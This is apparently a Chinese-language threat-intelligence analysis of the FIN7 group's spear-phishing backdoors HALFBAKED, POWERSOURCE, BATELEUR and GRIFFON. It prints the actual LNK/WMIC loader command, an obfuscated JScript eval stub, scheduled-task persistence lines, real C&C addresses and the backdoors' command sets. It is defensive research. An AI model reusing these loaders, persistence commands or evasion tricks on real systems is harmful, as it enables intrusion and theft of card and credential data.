2018年8月1日,美国司法部发布了三项联邦起诉书,以26项重罪,罪名是阴谋,电汇欺诈,计算机黑客,访问设备欺诈以及严重的身份盗用等逮捕了该团伙三位领导者,分别是现年44岁的乌克兰国民Dmytro Fedorov和33岁的Fedir Hladyr和30岁的Andrii Kolpakov。
2019年9月11日,FIN7的头目对10亿美元的网络犯罪事实供认不讳,并签署认罪协议。至此,FIN7的风波才逐渐平息。
前言
组织简介
FIN7是一家先进的,以金融为目标的组织,其活动最早始于2015年。
该组织历来以美国零售,餐饮和酒店业公司为目标,初始感染环节采用精心设计的鱼叉式钓鱼活动。
一旦进入受害者的网络中,该组织便利用类似于APT的行为来维持和扩大立足点,直到他们完成目标或具备获取信息的能力。
据悉,从2015年开始,FIN7成员就针对100多家美国公司开展了高度复杂的恶意软件活动。
通过入侵了数以千计的计算机系统,窃取了百万计的客户信用卡和借记卡号,出售并牟利。
仅在美国,FIN7就成功突破了47个州和哥伦比亚特区的公司的计算机网络,从3,600多个单独营业地点的6,500多个销售点中窃取了1500万张客户卡记录。
该组织的结构和起源在安全行业中已曾经过激烈的辩论,在他们的一些活动中使用了西里尔字符集,这表示其成员具有俄罗斯或东欧血统。
该组织条理并结构化的运营以及他们适应和更改TTP的规模和速度表明,FIN7是大规模的网络犯罪团伙。
2018年8月1日,美国司法部发布了三项联邦起诉书,以26项重罪,罪名是阴谋,电汇欺诈,计算机黑客,访问设备欺诈以及严重的身份盗用等逮捕了该团伙三位领导者,分别是现年44岁的乌克兰国民Dmytro Fedorov和33岁的Fedir Hladyr和30岁的Andrii Kolpakov。 [1]
2019年9月11日,FIN7的头目对10亿美元的网络犯罪事实供认不讳,并签署认罪协议。[2]
至此,FIN7的风波才逐渐平息。
关于伏影实验室
伏影实验室专注于安全威胁研究与监测技术,包括但不限于威胁识别技术,威胁跟踪技术,威胁捕获技术,威胁主体识别技术。研究目标包括:僵尸网络威胁,DDOS对抗,WEB对抗,流行服务系统脆弱利用威胁、身份认证威胁,数字资产威胁,黑色产业威胁 及 新兴威胁。通过掌控现网威胁来识别风险,缓解威胁伤害,为威胁对抗提供决策支撑。
统一投递手段下的不同技术实现
2015至2018年,伏影实验室收集到了百余例FIN7组织样本。三年时间内,其样本具体的技术实现发生了或多或少的变化,但投递方式一直以鱼叉邮件为主,不难看出FIN7对这种投递模式的钟爱。从攻击出发点来看,鱼叉攻击应是发动攻击成本最低的模式;从攻击结果来看,鱼叉中的社会工程学的确帮助FIN7赚得盆满钵满。
FIN7在三年的持久活动中,多次更新了投递技术,其形成主流的主要有HALFBAKED, POWERSOURCE, BATELEUR, GRIFFON。
其中,HALFBAKED在我们随机抽样的样本群中所占比例最高。
HALFBAKED作为攻击链中的常青藤,贯穿了FIN7组织从创生到灭亡的始末,成为组织成员在攻击中偏爱的手段。
2017年下半年,BATELEUR载荷批量出现,这种新兴的攻击手段将HALFBAKED化繁为简,既不失精巧,又避免了冗余的投放过程。
2018年第二季度,该组织再度将投递技术简化,原先固化内嵌DROPPER的功能被替换为DOWNLOADER,这就是GRIFFON,一个充满着变数的下载者。
常青藤HALFBAKED
HALFBAKED是FIN7组织频繁使用的js后门,搭载于钓鱼邮件投递的docx或rtf文档中。
HALFBAKED由多个脚本模块组成,通过脚本和windows任务实现持久化。
HALFBAKED主体为远控木马,与C&C通信,可进行包括获取信息、操作文件、执行脚本、运行程序、自更新和截屏等行为。
HALFBAKED还可以使用ps脚本运行dll类型的攻击载荷,常见的dll载荷为Beacon受控端和窃密工具。
攻击特征及流程概述
HALFBAKED从恶意docx文档开始释放的组件及调用关系如下图,需要注意的是,部分组件在与C&C建立通信后会通过下载的方式在文件夹下产生更多组件,为了避免过度复杂这一部分没有添加到图中:
HALFBAKED攻击普遍包含以下特征:
- 使用相同的欺骗图片;
- 各模块文件统一的命名格式[0-9a-f]{14}\.[0-9]{8}\.(txt|ps1|dll|js);
- C&C服务器开启53,80,443,8080端口;
- 使用windows task xml脚本实现持久化。
攻击流程分析
鱼叉邮件投递过程
该阶段文件是典型的鱼叉邮件附件,使用图片欺骗用户点击并运行其中的ole对象。
诱骗图片如下所示:
用户双击图片后,一个lnk类型的文件恶意载荷被释放至用户temp目录并运行。
加载与感染过程
被释放的lnk文件名为unlock.doc.lnk,该文件执行以下命令:
"C:\Windows\System32\wbem\WMIC.exe" process call create "cmd start /min cmd /c for /f \"usebackq delims=\" %x in (`FindStr /R /C:\"@#[0-9]#@\" \"C:\Users\admin\AppData\Local\Temp\unlock.doc.lnk\"`) do %x|cmd >nul 2>&1 &"
运行以上命令后,cmd寻找unlock.doc.lnk中的以下字符串并执行:
echo /*@#8#@*/try
{
sh = new ActiveXObject("Wscript.Shell");
fs = new ActiveXObject("Scripting.FileSystemObject");
p = sh.ExpandEnvironmentStrings("%TM" + "P%");
f = fs.GetFile(p + "//unlock.doc.lnk");
s = f.OpenAsTextStream(1, 0);
c = s.Read(2397);
c = s.ReadAll();
s.Close();
this[String.fromCharCode(101) + 'va' + 'l'](c);
} catch(e) {} > %HOMEPATH%\t.txt & wscript //b /e:jscript %HOMEPATH%\t.txt >nul 2>&1 &
此后,unlock.doc.lnk文件中的js脚本将被执行。
该js脚本将制作包含欺骗信息文本的文档并显示,欺骗信息如下所示:
同时在[USER]\{A62F2125-BC4A-579F-8DB4-4878CC73EA04}目录下创建以下多个文件:
59b91deade4ac2.47095391.txt
59b91deade4b13.93102800.txt
59b91deade4bc3.92761323.txt
59b91deade4cf5.89108741.txt
59b91deade4d35.36714463.txt
59b91deade4da4.32920409.txt
59b91deade4db2.87384273.txt
59b91deade4dd4.72047085.txt
其后运行59b91deade4ac2.47095391.txt和59b91deade4da4.32920409.txt两个文件,部署和启动HALFBAKED的两个主要攻击模块。
通过使用上述多个脚本文件,HALFBAKED可实现持久化、C&C通信、载荷投递等功能。
各文件对应以下模块功能:
Module | Description |
59b91deade4ac2.47095391.txt | 第一攻击模块的启动和持久化脚本,会循环执行59b91deade4b13.93102800.txt和59b91deade4bc3.92761323.txt两个脚本,间隔等待时间为3分钟。 |
59b91deade4b13.93102800.txt |
尝试读取59b91deade4db2.87384273.txt中的信息,用%SEP%拆分后保存为59b91deade4c26.97054100.txt; 若59b91deade4db2.87384273.txt中没有%SEP%分隔的数据,则向指定C&C网址请求信息并保存至59b91deade4c26.97054100.txt。 |
59b91deade4bc3.92761323.txt | 读取59b91deade4c26.97054100.txt中的数据,并根据获得的数据执行对应的脚本。 |
59b91deade4cf5.89108741.txt | xml模板文件,作用为设置计划任务,当计算机空闲时执行%jsPath%所指定的js脚本。 |
59b91deade4d35.36714463.txt | xml模板文件,作用为设置计划任务,当计算机空闲时执行%jsPath%所指定的js脚本,不同点在于可使用%jsTime%指定触发时间。 |
59b91deade4db2.87384273.txt |
包含加密的初始运行参数,各组参数由%SEP%分隔,默认初始命令为: cmd_id:1505304043.1%SEPR%cmd_type:processList%SEPR%cmd_param:%SEPR%cmd_body: cmd_id:1505304043.2%SEPR%cmd_type:cmdprompt%SEPR%cmd_param:JXx8JQ==%SEPR%cmd_body:d21pYyBDb21wdXRlclN5c3RlbSBHRVQgUGFydE9mRG9tYWluLERvbWFpbixOYW1lLE1vZGVsLFVzZXJOYW1lLFN5c3RlbVR5cGUsTWFudWZhY3R1cmVyIC92YWx1ZQ== |
59b91deade4dd4.72047085.txt | 存放母体doc文件信息 |
59b91deade4c26.97054100.txt | 存放将要执行的指令 |
59b91deade4da4.32920409.txt |
第二攻击模块的启动和持久化脚本,通过以下行为,展开powershell攻击模块: 创建文件夹[USER]\{403AD704-6148-4B6A-79FF-126B182812A7}并在该目录下创建59b91deade4d88.63805408.txt文件 使用[USER]\{A62F2125-BC4A-579F-8DB4-4878CC73EA04}\59b91deade4d35.36714463.txt为模板文件创建xml脚本,保存为[USER]\{A62F2125-BC4A-579F-8DB4-4878CC73EA04}\59b91deade4d52.82418882.xml 执行cmd命令schtasks /Create /F /TN {81FA0603-C097-6637-DB52-2674A0D7914C} /XML [USER]\{A62F2125-BC4A-579F-8DB4-4878CC73EA04}59b91deade4d52.82418882.xml, 执行延迟为2分钟 检查xml脚本是否正常运行,若未运行则重新运行59b91deade4d88.63805408.txt。 |
59b91deade4d52.82418882.xml | 该xml文件注册windows计划任务,每10分钟执行一次59b91deade4d88.63805408.txt脚本。 |
59b91deade4d88.63805408.txt | 执行内藏的powershell脚本59b91deade4d60.83370116.ps1,读取脚本的运行结果并传送给C&C |
59b91deade4d60.83370116.ps1 | reflective dll loader脚本,释放dll程序stealer_component_refl.dll并将其写入系统内存运行 |
stealer_component_refl.dll | 窃密木马,将收集到的浏览器密码放入%APPDATA%\userName.ini当中供59b91deade4d88.63805408.txt读取 |
与C&C连接过程
HALFBAKED木马的主要C&C通信模块为59b91deade4b13.93102800.txt,主要使用HTTP协议通信。此外,模块59b91deade4bc3.92761323.txt和59b91deade4d88.63805408.txt也会使用同样的格式将获取到的数据发送给C&C。
以下为请求格式:
GET/POST urlArr?[randname]=encryptedstr&[randname]=base64uniqueid&[randname]=[randdata]&[randname]=[randdata]…
- urlArr
该部分包含以下URL,木马会尝试连接其中可用的网址:
“http://195.54.162.245:80/cd”
“http://195.54.162.245:443/cd”
“http://195.54.162.245:8080/cd”
“http://195.54.162.245:53/cd”
“https://script.google.com/macros/s/AKfycbxvGGF-QBkaNIWCBFgjohBtkmyfyRpvm91yCGEvzgDvAJdqfW8_/exec”
- encryptedstr
该字段包含加密内容,使用base64与置换加密方式进行加密,置换加密的原始序列为”ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789″,置换序列为”dI0ptFXv3Oh8reG5DfgYRQN2y9cBEKlLjJCqP4VTUzWxska6nwSbAZHm17Muoi”。
59b91deade4b13.93102800.txt通信时,该字段包含主机信息,原始数据格式为 “3-1-sp1309-” + base64driveserialnumber + macaddr + “_BFiL253b”;
59b91deade4bc3.92761323.txt通信时,该字段包含执行C&C命令后产生的数据;
59b91deade4d88.63805408.txt通信时,该字段包含窃密工具收集到的内容。
- base64uniqueid
用于区分脚本的序列号,该脚本序列号为MTg2(186)。
- [randname]
2-11位随机字符串。
- [randdata]
1-12位随机字符串。
攻击执行过程
通信模块从C&C获取到的指令由59b91deade4bc3.92761323.txt负责执行,通过解密数据,该脚本可以执行来自C&C服务器的以下命令:
info | 获取主机信息,包括Computer name, Domain, User name, Processor architecture, System architecture, Local Time Zone, OSinfo等,并发送至C&C |
processList | 获取当前进程列表并发送至C&C |
ScreenSection | 截取当前屏幕并发送至C&C |
runvbs | 运行C&C下发的vbs脚本 |
runexe | 运行C&C下发的exe程序 |
runps1 | 运行C&C下发的powershell脚本 |
delete | 删除C&C指定的文件 |
update | 更新C&C指定的文件 |
updateBec | 更新由powershell加载的beacon载荷,ps加载器名为59b91deade4c92.96641107.ps1 |
cmdprompt | 运行C&C下发的cmd命令,命令使用base64加密 |
tinymet | 运行TinyMet载荷,使用的加载器名为59b91deade4c73.80571966.js |
此外。根据投放载荷的不同,HALFBAKED还可以使用CSBeacon或TinyMet展开其他攻击,这两个载荷隶属于攻击框架Cobalt Strike和Metasploit,不另行叙述。
攻击技术总结
严格来说,HALFBAKED后门并不是一款软件,而是一套由多个模块组成的框架。由于这些模块之间耦合度较低,替换单个或多个模块非常容易,这导致HALFBAKED在生存周期内出现了大量变种,也增加了对该木马的检测难度。
HALFBAKED典型变种差异包含以下几类:
- powershell脚本加载载荷Cobalt Strike Beacon
HALFBAKED会投递使用反射加载方式启动的DLL攻击载荷,除窃密工具stealer_component_refl以外,Cobalt Strike Beacon也是其常用载荷。
Beacon载荷并非直接加载,而是由powershell脚本中的一段引导shellcode从指定C&C服务器中获取并执行,该shellcode中记录了明文的C&C域名,域名有固定的格式:
aaa.stage.[random_number].[random_string].[random_string].com
示例如下:
shellcode使用DNS协议与该C&C通信,并获取C&C回传的DNS TXT信息中的第二阶段shellcode,载入运行后最终启动Beacon载荷。
- 使用vbs脚本作为模块主体
与上文展示的以js脚本作为主体的框架思路不同,有一部分HALFBAKED后门使用vb作为主要设计语言,但其模块间调用方式与js版本类似。
此外,由于模块由多个脚本组成,HALFBAKED会积极使用各种脚本混淆方式来对抗检测,这一点在vbs版本中尤为明显。
昙花一现POWERSOURCE
与HALFBAKED相似,POWERSOURCE也是FIN7组织使用的鱼叉攻击载荷。该后门主体为ps脚本,使用DNS隧道与C&C通信,并执行C&C下发的Powershell代码。
攻击特征及流程概述
POWERSOURCE后门具有以下特征:
- 全部攻击过程使用非PE实现,钓鱼使用doc文件,后门使用powershell文件。
- 使用ADS数据隐藏保存在磁盘中的非PE文件
- 后门文件保存在注册表中,功能由Powershell实现
- 与C&C通信使用DNS协议的TXT记录
- C&C地址从多个硬编码的地址中随机选择
攻击流程分析
鱼叉邮件投递过程
文档中采用了多种伪装方式。
1.伪装成受到McAfee保护,或伪装成美国证券交易管理委员会的许可文件,要求启用宏功能,以执行VBA宏代码。
2.伪装成受到McAfee或微软Office保护,要求点击图片,实则运行VBS脚本代码。在图片上右键点击packager shell object对象,查看其properties即见代码。
3.伪装成美国证券交易管理委员会的许可文件,使用Office的动态数据交换(DDE)技术,在Formula中嵌入代码使其在文档打开时自动执行,可绕过宏限制。
文档下方会出现一行”!Unexpected End of Formula”,右键选择编辑域,可在域代码看到要执行的代码部分,或者切换域代码。
加载与感染过程
VBA和VBS脚本旨在解码Powershell代码并执行。
大部分VBA宏代码包含两万多行,但只有开头和中间部分有代码,其余用空白不可见字符填充。去混淆后代码如下:
或者从远程站点下载Powershell执行。
木马安装过程
Powershell代码分两层,外层代码用于安装内层代码并创建持久性。内层代码负责与C&C通信连接。根据Powershell版本的不同,安装方式也不同。根据当前用户是否是系统管理员,创建持久性的方式也有所区别。
保存内层代码
当Powershell版本大于2.0时,使用了set-content命令的新参数-stream来将内层Powershell代码存于本地ADS中。ADS (alternate data stream) 是一种在文件中隐藏数据的方式,即将数据隐藏在文件MFT记录的$DATA属性中。这样当用户直接检查该文件时将无法看到相关内容。
Powershell版本号 | 安装内层Powershell代码方式 |
大于2.0 | 存储于ADS中 |
小于等于2.0 | 压缩编码后存在注册表中 |
代码解混淆后如下:
创建持久性
当前用户是否是系统管理员 | 持久驻留方式 |
是 | WMI事件实现开机启动 |
否 | 注册表启动项实现开机启动,代码保存在本地ADS中,开机使用wscript读ADS内容执行。 |
开机启动时的注册表路径,根据用户是否是管理员也不一样。
对于管理员方式,将Windows登录的WMI事件与执行内层Powershell的命令行事件绑定,从而实现开机执行。命令行用于从本地ADS或注册表中获取内层Shellcode以执行。
这样,根据用户是否是管理员和Powershell版本,一共可组合出四种方式。
- 若当前用户是管理员,且Powershell版本大于2.0时,由于内层Powershell是存于本地ADS中,所以命令行内容自然是从本地ADS取出代码并执行。
- 若当前用户是管理员,且Powershell版本小于2.0时,由于内层Powershell存于注册表,所以命令行自然是从注册表取出代码并执行。不同的是,此处将从注册表读内层Powershell代码并执行的代码编码后也保存在注册表中,故命令行的职责是从该注册表里读代码并执行。
- 若当前用户不是管理员,且Powershell版本大于2.0,则使用注册表启动项设置wscript命令行,VBS命令保存在本地ADS中,开机时从本地ADS取出内层Powershell代码并执行。
- 若当前用户不是管理员,且Powershell版本小于等于2.0,则使用注册表启动项保存wscript命令行。此处会保存两部分代码到注册表,第一部分是Powershell代码,将从注册表读内层Powershell代码并执行;第二部分是wscript命令执行VBS(VBS代码保存在本地ADS中),保存在注册表启动项,目的是从注册表里读出第一部分代码并执行。
除此之外,有的版本还存在非持久性的模式,只是将代码保存在本地ADS或注册表中,然后执行代码而已。
所有样本设置ADS所在文件路径均为”%ProgramData%\Windows”。设置ADS名称时,使用一个基本名称,根据不同情况追加后缀。例如,当基本名称为xyz时,则保存内层代码的本地ADS名称为xyz.dll;保存开机执行的VBS代码的本地ADS名称为xyz.vbs;非管理员时使用的开机启动注册表项名称为xyz。
文档 | ADS基本名称与开机注册表项名 |
2abad0ae32dd72bac5da0af1e580a2eb 6ff3272cd9edf115230bad6a55cb3ca8 | kernel32 |
032fe02e54a010d21fd71e97596f4101 | CiscoAnyconnect |
14334c8f93f049659212773ecee477a2 d04b6410dddee19adec75f597c52e386 | CtxDnsClient |
37d323ffc33a0e1c6cd20234589a965d | NovellClient |
5a88e3825c5e89b07fa9050b6b6eca7c 8fa8d4c30429c099dc7e565e57db55c0 | CiscoUpdate |
ccd2372bb6b07f1b5a125e597005688d | Certificates |
f20328b49ec605fd425ed101ff31f14b f74958adcfb11abcb37e043013f6a90f | GoogleUpdate |
但也有不一样的地方,例如文档7bd2235f105dee20825b4395a04892bf关联的Powershell中,
三种名称分别为kernel32.dll、p.vbs和GoogleUpdate。
与C&C连接过程
与C&C通信时,使用查询DNS的方法。当待查域名被发送至攻击者控制的DNS服务器时,指令便放在TXT记录中返回给肉鸡。肉鸡收到返回的DNS查询结果后,取含有双引号的一行,按双引号分割,取第一项作为指令。
一共要查两次,第一次得到一级指令,第二次得到最终指令。
有的Powershell会从一组域名中随机选取一个作为要查询的一级二级或三级域名,而有的会使用固定的域名。如果是第一次查询时域名是随机选取的,那么第二次查询也会随机选取,两次都将在选取域名基础上添加次级域名进行查询。
更多情况是给定固定的一级到三级域名进行查询,不再添加次级域名
个别样本需要进行三次查询:
api3.fredbanan.com、content3.fredbanan.com、mail28.fredbanan.com
mx mx2
攻击执行过程
通过两次DNS查询得到最终要执行的Powershell指令,且不重复执行上一次的指令。
一级指令(startcode) | 行为 |
“idle” | 睡眠,有的样本不存在该指令。 |
“stop” | 退出程序。 |
获取最终指令(cmdstring) | 进行第二次DNS查询,以获得最终要执行的Powershell代码。 |
个别文档的代码对一级指令增加了其他条件判断,进行循环查询,域名格式为
num.psdomain,其中num在循环中不断增加,并对每次查询的结果作字符替换后作连接,循环结束后再解码解压出最终的Powershell代码。
攻击技术总结
同样是鱼叉邮件载荷,POWERSOURCE使用以下方式特化了隐匿性:
- 使用本地ADS来保存代码,虽然从Windows XP后的系统禁止从ADS里直接执行程序,但在里面可以存放代码,方式非常隐蔽,用户直接打开相关文件根本看不到内容,给排查会带来一定困难。
- 使用DNS隧道通信,在流量上做了隐藏操作,不易检测。
由此可以推断,POWERSOURCE可能被FIN7用于攻击有一定防御检测能力的目标。
藕断丝连BATELEUR
从四种技术的时间线来看,BATELEUR是经过折衷设计的,这种攻击技术移除了HALFBAKED的冗长释放及繁琐调用,却也不像GRIFFON那样单纯为了扩充性而存在,它延续了HALFBAKED JS木马的精巧设计,实现了简约明了的功能,同时将复杂度转移到其组件Tinymet作为有力的扩充。
攻击特征及流程概述
- 全部攻击过程使用非PE实现,钓鱼文档使用doc文件,后门使用JS木马。
- Dropper保存在VB窗体的标题或框体文本中。
- 最终载荷经过Dropper拼接而成,起到了一定的免杀效果。
攻击流程分析
鱼叉邮件投递过程
投递文档内容被精心伪装成,具备端到端服务的POS(销售时点信息)系统推送介绍。文档提示用户需要:
- 启用编辑功能
- 启用宏功能
辅以多场景的贩售点图片,诱导受害者根据上述指导完成执行操作。
加载与感染过程
当按照文档指示启用宏代码后,可得到如下的vbs宏文件
该脚本负责将嵌入vbs窗体的文本写入临时目录的crashpad.ini文件中,并通过
cmd.exe /c wscript.exe //b /e:jscript %USERPROFILE%\AppData\Local\Temp\crashpad.ini执行。
木马安装过程
上述嵌入vbs的窗体的文本即为一段js脚本:
通过将!!!替换为空格并以|*|分割得到如下js脚本。
可见,在文档头部有伪装的Adobe版权样式。脚本使用了长变量名来干扰分析者视线,经简单的替换处理,可发现木马通过拼接字符串构造中间函数,用于处理后面的单字符组成的代码片段
经最终处理得到BATELEUR木马完整载荷:
通过木马基础配置,可以看出BATELEUR版本为1.0.8,for_pentesters字段中的阿拉伯文含义为“我们将为您的孩子复仇,并奉上帝的名义恢复正义”
,然而在经过我们调研多个同类型投递样本时,发现此处的语言各不相同,故不能通过语言来鉴别攻击者的国家属性。此字段仅起到迷惑作用。
样本首次执行时,会将自身复制到
%APPDATA%\\Microsoft\\Windows\\install_dir路径下,该样本中install_dir为{5d506677-4de2-7bf3-a068-b17e7e65416f}
同时会通过如下指令完成持久化:
shellobj.Run('schtasks /Create /f /tn "Adobe Acrobat Player Task" /tr "wscript.exe //b /e:jscript ' + file_path + '" /sc minute /mo ' + knock_timeout, false);
以计划任务方式每分钟执行一次,从C&C接收指令并执行。
同时,样本中具有对抗代码,虽然并未被调用执行。
BATELEUR包含以下对抗方式:
反虚拟机:
- 从SMBIOSBIOSVersion中检索是否含有Virtualbox及vmware字段。
- 从SerialNumber中检索是否含有vmware及parallels字段。
- 从DeviceID中检索是否含有vmware,PCI\\VEN_80EE&DEV_CAFÉ,VMWVMCIHOSTDEV字段。
反分析:
- 从进程列表中检索是否包含autoit3.exe, dumpcap.exe, tshark.exe, prl_cc.exe。
- 比较脚本文件名是否为malware, sample, mlwr, Desktop。
与C&C连接过程
BATELEUR采用HTTPS加密通信,在其首次执行时,会向C&C发出如下格式的信息(通过中间人劫持解密)
Keyword | Meaning |
version | BATELEUR木马版本 |
bid | 受害者主机磁盘卷序列号 |
group | 行动名称 |
key | 行动所使用key |
经分析,木马的请求格式具备以下两种格式:
- POST https://panel_link/page.php?page= localdiskserial &page_id=number”
- POST https://panel_link/?page= get_parr
其中panel_link为C&C服务器地址,localdiskserial为本地磁盘卷序列号,number为每种木马功能的数字编号,get_parr为当前执行指令/功能的名称。
在接收C&C指令时,以|*|分隔,示例如下:
攻击执行过程
通过与C&C建立连接,BATELEUR支持接收如下指令并执行功能:
Command | Fucntion |
get_information |
1. 磁盘卷序列号,网卡MAC 2. 用户名,机器名 3. 所属域名 4. 机器厂商及操作系统版本 5. 屏幕尺寸 6. 网络连接视图 7. ARP表 8. UAC权限开关 |
get_process_list | 枚举进程,返回具备”ProcessName*PID|”样式的结果 |
kill_process | 根据进程号结束指定进程 |
uninstall | 卸载 |
update | 更新JS木马并覆写 |
tinymet | 下载Tinymet组件 |
exe | 下载EXE文件,保存为Feed.mxls,通过命令行启动 |
wexe | 下载EXE文件,保存为log.ini,通过WMI启动 |
dll | 下载dll文件,保存为log.cmd,通过regsvr32启动 |
cmd | 通过CMD执行下发指令 |
powershell | 通过CMD调用POWERSHELL执行命令 |
apowershell | 通过POWERSHELL执行指令 |
wpowershell | 通过WMI执行POWERSHELL命令 |
get_screen | 下载具有截图功能的PS脚本,并执行截图功能,图片另存为screenshot.png |
get_apps | 下载模块,斌通过POWERSHELL执行 |
get_passwords | 下载POWERSHELL脚本,用于窃取密码 |
timeout | break,无意义 |
攻击技术总结
- BATELEUR在HALFBAKED的基础上取消了多模块配合的设计,将扩展性通过下载并执行的方式作为主要延伸,从而大大减小了木马的体积。
- BATELEUR通过将木马核心模块隐藏在经常被忽略的框体标题或正文中,避免查杀,可谓别出心裁。
- BATELEUR将核心代码通过字符拼接的方式组成,增强了对抗性。
在我们的调查中,BATELEUR一直在更新自己的版本,并为每个版本制定了行动代号:
Version | Group | C&C |
1.0.4.1JS | ru_vds1 | 195.133.48.65 |
1 .0.5 | public |
217.23.155 .19 |
1.0.6 | translate1 | 31.184.234.66 |
1.0.6 | new_public | 85.93.2.56 |
1.0.8 | call | 85.93.2.73/185.20.184.109/5.188.10.102/95.46.45.128 |
1.0.8 | mass_send | 185.220.35.20 |
雨后春竹GRIFFON
GRIFFON是近年来FIN7常用的JS脚本木马之一,同样使用鱼叉邮件投放,通过doc文档中的vbs脚本执行,可以运行C&C下发的JS攻击脚本。
攻击特征及流程概述
GRIFFON常见执行流程如下图:
其攻击特征集中于鱼叉邮件附件文档部分,包括使用类似的诱骗图片和类似的错误提示信息;
脚本方面,GRIFFON会使用几类混淆方式对代码进行混淆。
攻击流程分析
鱼叉邮件投递过程
GRIFFON的原始载荷为鱼叉邮件中附带的doc文档,文档通过运行隐藏的vbs脚本进行攻击。部分doc文档带有密码,会在鱼叉邮件中给出。
打开文档后,显示类似下图的所示的诱饵图片,欺骗用户启用编辑模式并执行脚本。
加载与感染过程
doc文档内嵌vba脚本,启动后会显示欺骗信息,同时释放并执行一个js脚本。
原始doc文档显示的欺骗信息内容并不固定,但大都声称解密运行中或运行错误:
木马安装过程
vb脚本通过执行以下命令运行GRIFFON主程序:
cmd.exe /k "SET a01=wscr& SET a02=ipt&&call %a01%%a02% /e:jscript //b C:\Users\admin\AppData\Local\Temp\errors.txt
wscript /e:jscript //b C:\Users\admin\AppData\Local\Temp\errors.txt
C&C通信连接过程
errors.txt是js脚本,即GRIFFON后门主体,主要功能为连接C&C服务器并执行服务器下发的攻击脚本。
脚本执行时首先会尝试使用http post链接以下URL并获取指令:
https[:]//cdn-googleapi.com/[pathes]/[files]?index=page
[pathes]在以下字段中随机选取:
‘images’,’image’,’content’,’fetch’,’cdn’
[files]在以下字段中随机选取:
‘create_logo’,’get_image’,’create_image’,’show_ico’,’show_png’,’show_jpg’
post包中带有以下信息:
‘group=public&secret=fjhj676cgh873wdfvew&time=120000&uid=’ + uniq_id + ‘&id=’ + id + ‘&’ + data
其中uniq_id为脚本启动时获取的时间戳,id由mac地址和DNSHostName组成。
以上信息经过加密处理,加密方式为异或,随机异或键为数值1000~10000之间的ascii字符:
最终将加密后字符串与随机异或键一同发送至上述URL,格式为:
encrypted_string + ‘!!’ + xor_key
CC服务器在接收POST信息后会返回加密的js脚本,受控端会解密该脚本并执行:
解密逻辑与加密逻辑相同:
该脚本会用以上方式持续与C&C通信。
攻击执行过程
GRIFFON木马通过运行C&C投递的JS模块进行接下来的攻击。以往数据显示,GRIFFON通常会投放以下模块:
信息收集模块
用于收集被攻陷主机信息,并回传给C&C。
持久化模块
该脚本将GRIFFON储存至注册表中以实现持久化。
Screenshot
该脚本用于屏幕截图,并回传给C&C。
Tinymet
Tinymet是Meterpreter的前置脚本,GRIFFON通过该脚本在被攻陷主机上植入Meterpreter后门。
攻击技术总结
同为FIN7的JS脚本形式鱼叉邮件载荷,GRIFFON与HALFBAKED的设计思路截然相反。相比HALFBAKED复杂的多模块交互式构成,GRIFFON被设计得非常简洁,它的唯一功能就是渗透,其后所有攻击和持久化行为由C&C决定,这大大增加了木马的灵活度。
FIN7.5与GRIFFON
在2019年5月的报告中,卡巴斯基称FIN7在2018下半年到2019年间依然活跃,并组织了多次攻击。卡巴斯基将此期间的攻击活动称为FIN7.5。
本次FIN7.5活动中主要使用的工具依然是GRIFFON,通过鱼叉邮件载荷展开攻击活动。
我们统计了已有GRIFFON样本的出现时间,发现其分布与卡巴斯基报告描述相符:
如上图所示,19年年初的GRIFFON样本数量明显增加,这表明FIN7组织在经历过2018年一次成员被逮捕事件后,再一次组织起了攻击能力,继续威胁多个国家的网络安全。